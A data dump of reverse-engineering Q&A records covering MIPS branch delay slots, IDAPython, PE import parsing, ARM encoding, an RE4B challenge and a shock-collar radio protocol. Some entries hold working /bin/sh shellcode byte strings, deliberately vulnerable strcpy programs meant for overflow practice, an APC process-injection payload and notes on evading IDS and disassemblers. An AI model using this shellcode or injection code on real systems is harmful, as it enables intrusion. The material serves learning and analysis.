    Local exec file:\n        `/bin/less', file type elf64-x86-64.\n        Entry point: 0x402080\n        0x0000000000400238 - 0x0000000000400254 is .interp\n        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag\n        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id\n        0x0000000000400298 - 0x00000000004002e0 is .gnu.hash\n        0x00000000004002e0 - 0x0000000000400b20 is .dynsym\n        0x0000000000400b20 - 0x0000000000400e7d is .dynstr\n        0x0000000000400e7e - 0x0000000000400f2e is .gnu.version\n        0x0000000000400f30 - 0x0000000000400fa0 is .gnu.version_r\n        0x0000000000400fa0 - 0x0000000000401000 is .rela.dyn\n        0x0000000000401000 - 0x0000000000401708 is .rela.plt\n        0x0000000000401708 - 0x0000000000401722 is .init\n        0x0000000000401730 - 0x0000000000401bf0 is .plt\n        0x0000000000401bf0 - 0x0000000000415824 is .text\n        0x0000000000415824 - 0x000000000041582d is .fini\n        0x0000000000415840 - 0x000000000041bd67 is .rodata\n        0x000000000041bd68 - 0x000000000041c90c is .eh_frame_hdr\n        0x000000000041c910 - 0x00000000004208e4 is .eh_frame\n        0x0000000000620e00 - 0x0000000000620e08 is .init_array\n        0x0000000000620e08 - 0x0000000000620e10 is .fini_array\n        0x0000000000620e10 - 0x0000000000620e18 is .jcr\n        0x0000000000620e18 - 0x0000000000620ff8 is .dynamic\n        0x0000000000620ff8 - 0x0000000000621000 is .got\n        0x0000000000621000 - 0x0000000000621270 is .got.plt\n        0x0000000000621280 - 0x000000000062500c is .data\n        0x00007fffff4001c8 - 0x00007fffff4001ec is .note.gnu.build-id in /lib64/ld-linux-x86-64.so.2\n        0x00007fffff4001f0 - 0x00007fffff4002ac is .hash in /lib64/ld-linux-x86-64.so.2\n        0x00007fffff4002b0 - 0x00007fffff40038c is .gnu.hash in /lib64/ld-linux-x86-64.so.2\n        0x00007fffff400390 - 0x00007fffff400630 is .dynsym in /lib64/ld-linux-x86-64.so.2\n
    \n\n

    Lines without a filename at the end are those for the main executable.

    \n" }, { "Id": "19606", "CreationDate": "2018-10-12T15:16:09.790", "Body": "

    I am statically reversing some software compiled for an Atheros AR7161 using radare2. This processor implements MIPS, and I do recall that MIPS has a branch delay slot. This is indeed noticeable in the disassembly because I can see instructions that should logically execute before branches being placed right after them.

    \n\n

    However, while analyzing some piece of code, I came across a beqz instruction for which assuming that the instruction after it should execute first does not make sense in the context of the program. I must admit that my analysis could be wrong, which is not unlikely; however, I have some doubts that I'd also like to clear:

    \n\n
      \n

    • Do all branch/jump instructions always use the branch delay slot such that the instruction right after should logically execute first? If not, in which cases would it not?

      • \n

    • Is there some way to make radare2 show the logical execution order rather than the one encoded in the binary?

      • \n
    \n\n

    Edit: concretely, I am dealing with the following sequence:

    \n\n
    beqz v0, <some address>\nlb v0, 0x40(sp)\n
    \n\n

    I have a very diffuse picture in my head about these instruction going into the pipeline. I can picture the second instruction being fetched while the first one is being decoded; hence, execution of the branch delay slot should actually start. However, the branch instruction depends on the same register being modified by the instruction in the branch delay slot, so what will happen? Will the branch instruction evaluate the condition using the old register value, or the new one updated by lb?

    \n\n

    Thanks

    \n", "Title": "Understanding branch delay slots for reversing MIPS", "Tags": "|radare2|mips|", "Answer": "

    The instruction in the branch delay slot is evaluated after the branch (or jump) instruction. The execution of the instruction in the branch delay slot does not impact the evaluation of the branch condition.

    \n\n

    I have observed the branch delay slot be used for a few things:

    \n\n
      \n
    • Last instruction of basic block leading up to the branch instruction\n\n
        \n
      • Branch test will not be dependent on the output of the calculation of the branch delay slot instruction
        • \n
      • Commonly seen with unconditional jumps/branches like b, jal
        • \n
      • \n
    • The first instruction of the the fall through block. \n\n
        \n
      • No side effects should be present if the branch is taken.
        • \n
      • Analysis will show that any registers impacted is not needed in the event the branch is taken
        • \n
      • \n
    • The first instruction of block if the branch is taken\n\n
        \n
      • If there are multiple paths to the branch target, this instruction will likely be seen multiple times with the different branches
        • \n
      • \n
    • The load of a conditional value, often for return values
      • \n
    \n\n

    This article goes into detail about branch delay slots.

    \n\n

    As noted by Igor, the \"likely\" version of the branch instruction keeps the effects of the instruction in the branch delay slot only if the instruction is actually taken.

    \n" }, { "Id": "19607", "CreationDate": "2018-10-12T15:20:40.490", "Body": "

    I'm trying to determine the destination address for call instructions. I can get this for calls that use an immediate but not for a call to an immediate-assigned register. How can I get the address of the function being called in a situation like this when Ida has inserted a pink comment with funcName?

    \n\n
    mov eax, funcName\n...\ncall eax ; funcName\n
    \n", "Title": "IdaPython Get Call Destination for Register Operand", "Tags": "|ida|idapython|", "Answer": "

    IDA has a specific mechanism for storing and reading references (either code, data or both) to and from a specific instruction. That mechanism works whenever IDA successfully resolves a reference, which may not always be the case (think of call eax where eax is not easily resolved staticly). You should use that interface for all types of calls.

    \n\n

    The function that best suits your use case is probably idautils.CodeRefsFrom which accepts two parameters ea and flow and returns a generator for all code references from given ea. flow is a boolean used to control whether you wish the next instruction included.

    \n\n

    There are a bunch of other related functions, such as CodeRefsTo, DataRefsFrom, XrefsTo, etc...

    \n" }, { "Id": "19615", "CreationDate": "2018-10-13T17:36:04.843", "Body": "

    First off we don't have ASLR and stack cookie, and assume we can't create our own files on this system

    \n\n

    So I'm trying to execute a shellcode in this code, this is what i have done so far:

    \n\n

    i have managed to overwrite the buffer and set the return address of function foo to function critical, but my problem is how to run a specific shellcode here? the execv will run the bin/sh but i can't replace the first argument with a shellcode and it won't work and I'm not sure if its even possible to run a shellcode with execv, and when i pass a shellcode to sh it doesn't work.

    \n\n

    also i know the return to libc exploit but still don't know how to execute a shellcode with system()? is it even possible to pass a shellcode to it? or maybe i can use another function to just pass a shellcode to it?

    \n\n

    And i assume we can run our own shellcode if we created our own shellcode file and replaced the sh path, but we don't have access to create files, we have to do it with this code only.

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\nint bar(char *arg, char *out)\n    {\n      strcpy(out, arg);\n      return 0;\n    }\n\n    int foo(char *arg)\n    {\n      char buffer1[100]=\"Test program.\\n\";\n      char buffer2[100];\n      bar(arg, buffer2);\n      printf(\"%s\",buffer1);\n      return 0;\n    }\n\n    void critical()\n    {\n      char *msg[]={\"/bin/sh\",NULL};\n      execv(msg[0],msg);\n    }\n\n    int main(int argc, char *argv[])\n    {\n      if (argc != 2)\n      {\n        fprintf(stderr, \"prog_vuln2: argc != 2\\n\");\n        exit(EXIT_FAILURE);\n      }\n      foo(argv[1]);\n      return 0;\n    }\n
    \n", "Title": "How to execute a specific shellcode with a non executable stack without using format string? (without ASLR and stack cookie)", "Tags": "|buffer-overflow|stack|shellcode|", "Answer": "

    You are correct that you can't pass your shellcode to execv(), but that's not the idea. What you require is to change the return address from the call to foo() to point to critical(), so that execv() receives the path \"/bin/sh\" as the parameter. Normally, your shellcode would be the contents of critical() itself, and the return address would point to the buffer that holds the critical() function.

    \n" }, { "Id": "19621", "CreationDate": "2018-10-14T07:03:14.413", "Body": "

    I have found two shellcodes for spawning /bin/sh which are much different from each other. The second one is hardly ever found on the net, and it mostly comes up in reverse engineering websites:

    \n\n
    1. \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\"\n   \"\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40\\xcd\\x80\";\n
    \n\n

    http://shell-storm.org/shellcode/files/shellcode-811.php

    \n\n
    2.  \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n    \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n    \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"\n
    \n\n

    http://phrack.org/issues/49/14.html

    \n\n

    https://stackoverflow.com/questions/2705854/can-anyone-explain-this-code-to-me

    \n\n

    So:

    \n\n
      \n

    1. What is the difference and which one is better to use?

      2. \n

    2. Can you explain in detail what each of them do? For example why there is a push 0x68732f2f in the first link? If this is an address then how can you know it before run time if we have things like ASLR and PIE?

      3. \n

    3. Why are these shellcodes so much different if they do the same thing?

      4. \n
    \n", "Title": "Why there are two different shellcodes for bin/sh with much different syntax and which one is better to use? (x86)", "Tags": "|disassembly|assembly|x86|", "Answer": "
    \n
      \n
    1. What is the difference and which one is better to use?
      2. \n
    \n
    \n\n

    The second one you cite is coming from a historical paper (\"Smashing The Stack For Fun And Profit\" by Aleph One in Phrack #49, 1996) (note that you removed the final '/bin/sh' which ruins totally the shellcode). It is probably the most well known explanation of what is a buffer-overflow and how to exploit it. The article itself comes with this shellcode which has been used as it is by numerous people to learn and to exploit in the wild.

    \n\n

    Nowadays, this shellcode will be detected if sent in clear on the network by most of the IDS (Intrusion Detection Systems) and stopped before it reaches its target. Moreover, it is an educational shellcode (read the paper, AlephOne explain how to build such a shellcode), so it is a bit big for a shellcode.

    \n\n

    So, the second shellcode is well-known and big, two reasons to not use it except if you want to understand what it does and how to write such thing.

    \n\n

    The first shellcode you pointed, is designed to take the less space possible (only 28 bytes compared to 46 with the second). It may be useful to have a small shellcode because sometimes you will have only a small memory space to write it. So, if your shellcode is too big, it won't execute properly.

    \n\n
    \n
      \n
    1. Can you explain in detail what each of them do? For example why there is a push $0x68732f2f in the first link? If this is an address then how can you know it before run time if we have things like ASLR and PIE?
      2. \n
    \n
    \n\n

    This is not an address, it is the string //sh (in little-endian), look at the character 0x2f which is / (in ASCII code) repeated twice and, then, sh.

    \n\n

    Concerning ASLR and PIE, these security mechanisms came a few years after shellcodes. ASLR was designed to prevent easy exploitation of buffer-overflow by randomizing addresses. This is not the worst thing against buffer-overflow exploitation and shellcodes, in fact. The worst is NX (non-executable stack). And, in fact, since NX is here we are now using ROP (Return-Oriented Programming) better than shellcode (but I guess this will be your next step once you understand these shellcodes).

    \n\n

    If you want to understand fully the shellcode, read the Aleph One paper...

    \n\n

    This is the best explanation I know about it.

    \n\n
    \n
      \n
    1. Why are these shellcodes so much different if they do the same thing?
      2. \n
    \n
    \n\n

    They vary in shapes and size because of the IDS, once a shellcode is common, it can be scanned and found in TCP/IP packets and stopped during an attack through the network. That is why there exists a great variety of it (some are self-encrypted with various keys to evade IDS).

    \n\n

    And, then, you also have to take into account the way you inject the shellcode in the program, you may have several limitations (only ASCII or UTF-8 characters for examples). This will give another set of shellcodes (for example, see this article).

    \n\n

    Finally, as I said at the beginning you may have size constraints. Which tends to try to have the smallest shellcode possible.

    \n" }, { "Id": "19628", "CreationDate": "2018-10-15T09:21:44.503", "Body": "

    I tried the following payload for APC injection in Windows.
    \nIt gets executed successfully(pops up a MessageBox) but the process crashes after the execution of payload.
    \nWhat could be the possible reason(s) for this?

    \n\n

    Payload:

    \n\n
    push   ebp                     ;save ebp\nmov    ebp,esp                 ;start new frame\nsub    esp,0x8                 ;make space for strings\nmov    BYTE PTR [ebp-0x4],0x48 ;store strings\nmov    BYTE PTR [ebp-0x3],0x0\nmov    BYTE PTR [ebp-0x8],0x46\nmov    BYTE PTR [ebp-0x7],0x0\npush   eax                     ;save registers to restore the values later\n                               ;(I think that I need not save all registers\n                               ;but only the ones I use,\n                               ;but since the process kept crashing after the payload execution\n                               ;I thought let's not take a chance! :P\npush   ebx\npush   ecx\npush   edx\npush   edi\npush   esi\npush   0x0                     ;push arguments for MessageBox()\nlea    eax,[ebp-0x4]\npush   eax\nlea    eax,[ebp-0x8]\npush   eax\npush   0x0\ncall   DWORD PTR [ebp+0x8]     ;call MessageBox()\npop    esi                     ;restore registers\npop    edi\npop    edx\npop    ecx\npop    ebx\npop    eax\nxor    eax, eax\nmov    esp,ebp\npop    ebp                     ;restore ebp\nret                            ;return\n
    \n\n

    Injection code:

    \n\n
    QueueUserAPC((PAPCFUNC)p, hThread, messageBoxAddr); //p: address of payload(written to victim process)\n
    \n\n

    Error Message(From IDA Pro, WinDbg):

    \n\n
    The instruction at 0x771C63BD referenced memory at 0x75C2442D. The memory could not be read -> 75C2442D (exc.code c0000005, tid 2948)\n
    \n\n

    It basically says that edi in mov ecx, [edi+2CCh] (coming after the payload execution) has an invalid address.

    \n\n

    Disassembled code near crash:

    \n\n
    ntdll:771C63BD ; ---------------------------------------------------------------------------\nntdll:771C63BD mov     ecx, [edi+2CCh]    ;<--- It CRASHES here\nntdll:771C63C3 mov     large fs:0, ecx\nntdll:771C63CA push    1\nntdll:771C63CC push    edi\nntdll:771C63CD call    near ptr ntdll_ZwContinue\nntdll:771C63D2 mov     esi, eax\nntdll:771C63D4\nntdll:771C63D4 loc_771C63D4:                           ; CODE XREF: ntdll:ntdll_KiUserApcDispatcher+42j\nntdll:771C63D4 push    esi\nntdll:771C63D5 call    near ptr ntdll_RtlRaiseStatus\nntdll:771C63DA jmp     short loc_771C63D4\n
    \n\n

    Call stack:

    \n\n

    \"enter

    \n", "Title": "Why is the process crashing after executing my injected payload?", "Tags": "|windows|assembly|injection|", "Answer": "

    Here's the rest of the function where the crash happens:

    \n\n
    _KiUserApcDispatcher@16 proc near\n lea     eax, [esp+2DCh]\n mov     ecx, large fs:0\n mov     edx, offset _KiUserApcExceptionHandler@16 ; KiUserApcExceptionHandler(x,x,x,x)\n mov     [eax], ecx\n mov     [eax+4], edx\n mov     large fs:0, eax\n pop     eax\n lea     edi, [esp+0Ch]\n call    eax\n
    \n\n

    As you can see, edi is intialized from esp, so the crash likely happens because of wrong esp after the call. Now, let's check the API headers:

    \n\n
    WINBASEAPI\nDWORD\nWINAPI\nQueueUserAPC(\n    _In_ PAPCFUNC pfnAPC,\n    _In_ HANDLE hThread,\n    _In_ ULONG_PTR dwData\n    );\n
    \n\n

    and PACPFUNC is:

    \n\n
    typedef\nVOID\n(NTAPI *PAPCFUNC)(\n    _In_ ULONG_PTR Parameter\n    );\n
    \n\n

    Where NTAPI is:

    \n\n
    #define NTAPI __stdcall\n
    \n\n

    __stdcall functions are responsible for cleaning up the stack from their incoming arguments, and since our function accepts one argument of type ULONG_PTR (a pointer, so 4 bytes), it must clean up the stack at return , i.e. use retn 4 instead of just retn which is enough for __cdecl functions.

    \n" }, { "Id": "19640", "CreationDate": "2018-10-16T16:18:25.090", "Body": "

    I load the entire PE into an std::vector<Byte> fileContent using std::fstream.

    \n\n

    Then I obtain the executable's dos header:

    \n\n

    IMAGE_DOS_HEADER* imageDosHeader = (IMAGE_DOS_HEADER*)fileContent.data();

    \n\n

    After that, I check whether the PE is valid(MZ and PE00 signatures).

    \n\n

    If it is, I get its import descriptor:

    \n\n
    IMAGE_IMPORT_DESCRIPTOR* imageImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD)imageDosHeader + imageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);\n\n//Note: the VirtualAddress field equals 0x4FFC, so I assume it's valid\n
    \n\n

    Now, I iterate through the dlls and try to display their names as following:

    \n\n
    for(DWORD i = 0; ; i++)\n{\n    bool isCurrentDllValid = true;\n\n    //if all fields of the current dll are zeros, then this dll is the last one, so break the outer loop\n    for(DWORD j = 0; j < sizeof(IMAGE_IMPORT_DESCRIPTOR); j++)\n    {\n        if((*(DWORD*)((DWORD)&imageImportDescriptor[i] + j)))\n            break;\n        else if(j == sizeof(IMAGE_IMPORT_DESCRIPTOR) - 1)\n            isCurrentDllValid = false;\n    }\n\n    if(!isCurrentDllValid)\n        break;\n\n    char* dllName = (char*)((DWORD)imageDosHeader + imageImportDescriptor[i].Name);\n
    \n\n

    The problem is: an attempt to display the dllName causes crash.

    \n\n

    Also, the Name field is an RVA, but its value is 0x6C61766E (the same thing is with the rest of the fields, the smallest one is TimeDateStamp with 0x637465, still abnormal one), while size of the PE is less than 0x7000.

    \n\n

    In hex editor, RVA of e.g. \"KERNEL32.dll\" is 0x46F0.

    \n\n

    Have you any idea why is it so? Am I missing something really simple?

    \n", "Title": "Wrong RVA values inside IMAGE_IMPORT_DESCRIPTOR", "Tags": "|windows|binary-analysis|pe|binary|binary-format|", "Answer": "

    Unless you are loading a mapped PE file in your vector, you have to convert all RVAs to file offsets.

    \n\n

    The pseodocode looks something like this:

    \n\n
    func rva2offset(pe, rva):\n    for section in pe.sections:\n        if rva >= section.rva and rva < section.rva + section.size:\n            return section.fileoffset + (rva - section.rva)\n    return nil\n
    \n\n

    The code does not account for the actual way the kernel maps the PE file in memory (alignment and other edge cases), so use it with care.

    \n" }, { "Id": "19643", "CreationDate": "2018-10-17T03:01:27.720", "Body": "

    I've been trying to analyze an ARM binary but cannot figure out how the operators and operands are stored in the bytes of a program.

    \n\n

    For example, by looking at the disassembly listing of an ARMv7 binary, I cannot deduce what the opcode for cmp is from these three lines, nor do I understand how it's encoded or how it's operands are encoded:

    \n\n
    cmp r5, #0; 0x2d00\ncmp r4, #0; 0x2c00\ncmp r0, r2; 0x4290\n
    \n\n

    How is the cmp operator, and it's respective operands encoded into two bytes?

    \n", "Title": "How are ARMv7 assembly opcodes and operands stored in bytes?", "Tags": "|disassembly|arm|", "Answer": "

    See ARM7 Data Sheet \n4.4 Data processing page 23.\nBut there will be the different encoding of the instruction depending on the instruction set (ARM or Thumb). See also this question

    \n" }, { "Id": "19660", "CreationDate": "2018-10-18T18:35:48.157", "Body": "

    Is there any way to get the image base of an .exe without calling WinAPI functions (i.e. imported functions) so that it can't be easily viewed in a disassembler/debugger?

    \n\n

    I've been thinking of declaring a global variable anywhere in code and reading its address in a loop backwards until e.g.MZ is found (obviously checking for NULL in the meantime). However, there may be a section which isn't readable, a string in .rdata which contains the MZ characters or some value (especially a function address or generally pointers) that contains the MZ bytes (0x4D, 0x5A) (and probably a few more \"situations\").

    \n\n

    Have you any idea how to achieve that? Is it even possible?

    \n", "Title": "Is there any way to get my own image base without calling any WinAPI functions, such as GetModuleHandle?", "Tags": "|windows|pe|executable|exe|", "Answer": "

    To get your own image base in 32-bit code, you can do this:

    \n\n
    mov eax, fs:[30h]\nmov eax, [eax+8]
    \n\n

    which you can obviously obfuscate in multiple ways, such as by moving fs: into ds: temporarily, calculating \"30h\" and \"8\" by multiplying, etc.

    \n\n

    64-bit code is gs:[60h] and +10h instead.

    \n" }, { "Id": "19667", "CreationDate": "2018-10-19T08:16:17.073", "Body": "

    Challenge 65: Try to determine the dimensions of the array, at least partially.

    \n\n
    _array$ = 8 \n_x$ = 12    \n_y$ = 16    \n_z$ = 20    \n_f  PROC\n    mov eax, DWORD PTR _x$[esp-4]\n    mov edx, DWORD PTR _y$[esp-4]\n    mov ecx, eax\n    shl ecx, 4\n    sub ecx, eax\n    lea eax, DWORD PTR [edx+ecx*4]\n    mov ecx, DWORD PTR _array$[esp-4]\n    lea eax, DWORD PTR [eax+eax*4]\n    shl eax, 4\n    add eax, DWORD PTR _z$[esp-4]\n    mov eax, DWORD PTR [ecx+eax*4]\n    ret 0\n_f  ENDP\n
    \n\n

    In this challenge, I can only determine the last two dimensions as 60 and 80, so how to determine the first dimension?

    \n\n

    I determined:

    \n\n
    array[?][60][80]\n
    \n\n

    Progress to determine last two dimensions:

    \n\n
    return: array + 5*16*(4*(16*X-X)+Y)+Z \n                     \u2193\nreturn: array + 80*(60*X+Y)+Z \n                     \u2193\nThe second dimension is 60 and the third dimension is 80.\n
    \n\n

    .

    \n\n

    Answers from Chinese-published version of RE4B, ISBN:9787115434456, Page 944\n\"answer\"

    \n", "Title": "RE4B challenge 65: how to determine the first dimension of the array?", "Tags": "|array|", "Answer": "

    According to the given code here, I don't think its possible to recover the third dimension.

    \n\n
    _array$ = 8 \n_x$ = 12    \n_y$ = 16    \n_z$ = 20    \n_f  PROC\n    mov eax, DWORD PTR _x$[esp-4]\n    mov edx, DWORD PTR _y$[esp-4]\n    mov ecx, eax\n    shl ecx, 4   ; ecx = x*16\n    sub ecx, eax ; ecx = x*16 - x\n    lea eax, DWORD PTR [edx+ecx*4] ; eax = y+(15*x)*4\n    mov ecx, DWORD PTR _array$[esp-4]\n    lea eax, DWORD PTR [eax+eax*4] ; eax = (y+(15*x)*4)*5\n    shl eax, 4                     ; eax = (y+(15*x)*4)*5*16\n    add eax, DWORD PTR _z$[esp-4]  ; eax = z+80*(y+(15*x)*4)\n    mov eax, DWORD PTR [ecx+eax*4] ; return array+4*(z+80*(y+(15*x)*4))\n    ret 0\n_f  ENDP\n
    \n\n

    Final expressions are

    \n\n
    array+4*(z+80*(y+(15*x)*4))\narray + 4*z + 320*y + 19200*x\narray + 80*60*4*x + 80*4*y + 4*z\n
    \n\n

    In z you have 80 elements of size 4, in y you have 60 z elements. Thats all the information we can get from here.

    \n\n

    I also tried writing and compiling a similar function.

    \n\n
    #include <stdio.h>\n\nint arr[50][60][80];\n\nint f(int a[50][60][80], int x, int y, int z) { return a[x][y][z]; }\n\nint main(int argc, char **argv) {\n    f(arr, 5, 5, 5);\n    return 0;\n}\n
    \n\n

    Compiling with gcc -no-pie -fno-pic -m32 x.c -o x and then analyzing with r2.

    \n\n
    $ r2 x                              \n -- Change the registers of the child process in this way: 'dr eax=0x333'\n[0x080482e0]> aaa\n...\n[0x080482e0]> s sym.f\n[0x080483f6]> afvn arr arg_8h \n[0x080483f6]> afvn x arg_ch \n[0x080483f6]> afvn y arg_10h \n[0x080483f6]> afvn z arg_14h \n[0x080483f6]> pdf\n\u250c (fcn) sym.f 41\n\u2502   sym.f (int arr, int x, int y, int z);\n\u2502           ; arg int arr @ ebp+0x8\n\u2502           ; arg int x @ ebp+0xc\n\u2502           ; arg int y @ ebp+0x10\n\u2502           ; arg int z @ ebp+0x14\n\u2502           ; CALL XREF from sym.main (0x804842d)\n\u2502           0x080483f6      55             push ebp\n\u2502           0x080483f7      89e5           mov ebp, esp\n\u2502           0x080483f9      8b450c         mov eax, dword [x]          ; [0xc:4]=-1 ; 12\n\u2502           0x080483fc      69d0004b0000   imul edx, eax, 0x4b00\n\u2502           0x08048402      8b4508         mov eax, dword [arr]        ; [0x8:4]=-1 ; 8\n\u2502           0x08048405      8d0c02         lea ecx, [edx + eax]\n\u2502           0x08048408      8b5510         mov edx, dword [y]          ; [0x10:4]=-1 ; 16\n\u2502           0x0804840b      89d0           mov eax, edx\n\u2502           0x0804840d      c1e002         shl eax, 2\n\u2502           0x08048410      01d0           add eax, edx\n\u2502           0x08048412      c1e004         shl eax, 4\n\u2502           0x08048415      8b5514         mov edx, dword [z]          ; [0x14:4]=-1 ; 20\n\u2502           0x08048418      01d0           add eax, edx\n\u2502           0x0804841a      8b0481         mov eax, dword [ecx + eax*4]\n\u2502           0x0804841d      5d             pop ebp\n\u2514           0x0804841e      c3             ret\n
    \n\n

    Here 0x4b00 = 80*60*4. There's no information on the upper bound of x as is the case with simple 1-d arrays. SO you can't recover any more information from your snippet.

    \n" }, { "Id": "19671", "CreationDate": "2018-10-20T12:40:49.830", "Body": "

    I have a Petrainer PET998DRU shock collar (similar to this one) that got partially chewed up by the dog it is supposed to train. I salvaged it to the point where I have the following buttons:

    \n\n
      \n
    • Mode (to select light, beep, vibrate, and zap
      • \n
    • Activate (to send appropriate stimulation)
      • \n
    • Up arrow (to increase the amount of stim)
      • \n
    \n\n

    The display does not work so I don't know what the setting (which stim and how much) is on other than trial and error.

    \n\n

    I have followed the method on here: http://brettleaver.com/collar/ to get as far as I have gotten but the protocol differs on this model and I have only been able to figure out the device ID and the stim type (I think). I can replay the packets on a separate 433Mhz transmitter and the collar responds appropriately but I want to figure out the whole packet. The amount of stim is what I need helping decoding.

    \n\n

    Logic for beep\n\"Image

    \n\n

    I decoded this as 0xDF 7E DE ED 7F D6 AB\nIf this is wrong, then please let me know because it may give me a clue as to why I can't figure out the rest.

    \n\n

    Logic for zap\n\"Image

    \n\n

    I decoded this as 0x\u202dDF DE DE ED 6F 7A AA C0\u202c. The last bits to finish up the last octet are assumed to be logic 0's. Maybe this assumption is wrong though.

    \n\n

    I decoded the other packets similarly but I won't post all the images.

    \n\n

    EDIT: I have since gotten captures of vibrates and zaps where I know the duration is 0.

    \n\n
      \n
    • Light: 0xDE FE DE ED 7F D5 AB
      • \n
    • Beep: 0xDF 7E DE ED 7F D6 AB
      • \n
    • Zap: 0x\u202dDF DE DE ED 7F EA AB\u202c
      • \n
    • Vibrate 0x\u202dDF BE DE ED 7F DA AB
      • \n
    \n\n

    All the packets except the Light start out with 0XDF. The next position (7, F, D, or B) seems to determine stim type. The next 5 are always0xE DE ED so that seems to determine the device ID. All the characters after that are encoding the duration of the zap or buzz and then something to do with a checksum of some sort.

    \n\n

    Here is what I got for the buzz stim in sequential order. After recording each one, I incremented by one and then sent the command again:

    \n\n
      \n
    • 0x\u202dDF BE DE ED 7F AD 55 80
      • \n
    • 0x\u202dDF BE DE ED 7F 6D 55 80
      • \n
    • 0x\u202dDF BE DE ED 7F 56 AA C0
      • \n
    • 0x\u202dDF BE DE ED 7E ED 55 80
      • \n
    • 0x\u202dDF BE DE ED 7E D6 AA C0\n...
      • \n
    \n\n

    An interesting thing I found is that one of the following patterns are always present but I can't figure out the significance:

    \n\n
      \n
    • 0x__ _B 55 60
      • \n
    • 0x__ _D 55 80
      • \n
    • 0x__ _6 AA C0
      • \n
    • 0x__ _5 AA B0
      • \n
    \n\n

    EDIT: Another interesting thing to note is that there is never 2 consecutive zeros.

    \n\n

    Assuming I haven't made a huge mistake from the beginning (this is my first attempt at reverse engineering something), does anyone see an obvious encoding scheme or checksum that is being used?

    \n\n

    My end goal is to code up a new 433MHz transmitter and make it controllable with a yet to be made mobile app.

    \n", "Title": "Need help to reverse engineer a dog collar transmitter", "Tags": "|encodings|binary-diagnosis|", "Answer": "

    Answer

    \n

    Consider a "gap" to be a "low" interval between two consecutive "high" interval, ignoring the first longest one. Then, a bit 1 corresponds to a long gap, and a bit 0 corresponds to a short gap.

    \n

    \"\"

    \n

    Therefore, the messages decoded that way are:

    \n
    88 14 4b 00 ee   : Light\n84 14 4b 00 de   : Beep\n81 14 4b 00 7e   : Zap\n82 14 4b 00 be   : Vibrate\n82 14 4b 01 be   : Buzz stim in sequential order\n82 14 4b 02 be\n82 14 4b 03 be\n82 14 4b 04 be\n82 14 4b 05 be\n82 14 4b 06 be\n82 14 4b 07 be\n82 14 4b 08 be\n
    \n

    That follows the exact same pattern as described at http://brettleaver.com/collar/, except that the remote UID is 14 4b instead of 20 89.

    \n

    (quoting the link above:

    \n
    \n

    Now we can easily decode what the remote is sending! After changing the settings several times and looking at how it changes the transmission, it became clear what the signal represented.

    \n

    81 20 89 32 7e
    \nThis will be set to 8 if the remote is on channel 1
    \nThis will be set to f if the remote is on channel 2

    \n

    81 20 89 32 7e
    \nThis will be set to 1 when the remote is requesting a shock
    \nThis will be set to 2 when the remote is requesting a vibration
    \nThis will be set to 4 when the remote is requesting a beep
    \nThis will be set to 8 when the remote is requesting an LED flash

    \n

    81 20 89 32 7e
    \nThese bytes represent the UID of the remote, and never change.

    \n

    81 20 89 32 7e
    \nThis byte represents the intensity of the vibration/shock.
    \nThe collar will ignore anything above 100

    \n

    81 20 89 32 7e
    \nThis will be set to 7 when the remote is requesting a shock
    \nThis will be set to B when the remote is requesting a vibration
    \nThis will be set to D when the remote is requesting a beep
    \nThis will be set to E when the remote is requesting an LED flash

    \n

    81 20 89 32 7e
    \nThis will be set to E if the remote is on channel 1
    \nThis will be set to 0 if the remote is on channel 2

    \n

    81 20 89 32 7e
    \nThis last byte is equal to the first byte, but with its bits reversed and inverted. I think it\u2019s some kind of error checking mechanism, as the collar will ignore all transmissions where this isn\u2019t the case.

    \n
    \n

    )

    \n
    \n

    Derivation

    \n

    Consider the signal in binary:

    \n
    \n1101111110111110110111101110110101111111101011010101010110000000\n1101111110111110110111101110110101111111011011010101010110000000\n1101111110111110110111101110110101111111010101101010101011000000\n1101111110111110110111101110110101111110111011010101010110000000\n1101111110111110110111101110110101111110110101101010101011000000\n1101111110111110110111101110110101111110101101101010101011000000\n1101111110111110110111101110110101111110101010110101010101100000\n1101111110111110110111101110110101111101111011010101010110000000\n
    \n

    Note how the bold italic part appear in all of the sequences, and not in a fixed place? That leads me to suspect that the message has a variable length, and the trailing zeroes doesn't matter.

    \n

    The common prefix of all the messages is 11011111101111101101111011101101011111. We will cut out this part, but leave a 1 in the message -- the reason will be apparent later.

    \n

    The remaining part is:

    \n
    11110\n11101\n111010\n11011\n110110\n110101\n1101010\n10111\n
    \n

    Note that this is supposed to be (a part of) an increasing, consecutive number sequence.

    \n

    From OP's observation (there are no two consecutive zeroes), and note that there are 3 pairs in the data above where the latter one is the former one with a 0 appended, I guess that a 0 is encoded as a 10 and a 1 is encoded as a 1 (or vice versa).

    \n

    Replacing 10 with 1 gives:

    \n
    1110\n1101\n1100\n1011\n1010\n1001\n1000\n0111\n
    \n

    Looks good enough. This counts in decreasing order, so we have to negate the bits (0 is encoded as 1, 1 is encoded as 10).

    \n

    It's obvious that the bits come in decreasing significance (most significant bit first). Because the value represented is from 1 to 100, the 3 previous bits are also a part of the value.

    \n

    I also suspect that

    \n

    \"\"

    \n

    is only a start-of-transmission mark and does not contribute to the data, because it's larger than all the others.

    \n" }, { "Id": "19682", "CreationDate": "2018-10-21T18:32:27.497", "Body": "

    I am trying to get a buffer overflow exploit to work on Ubuntu 16.04 LTS 64bit.

    \n\n

    To this end I use the following vulnerable program:

    \n\n
    #include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nint main(int argc, char* argv[])\n{\n\n    char buffer[256];\n    strcpy(buffer, argv[1]);\n    printf(\"%s\\n\", buffer);\n    return 0;\n}\n
    \n\n

    I deactivate ALSR (temporarily set /proc/sys/kernel/randomize_va_space to 0) and compile my code with

    \n\n
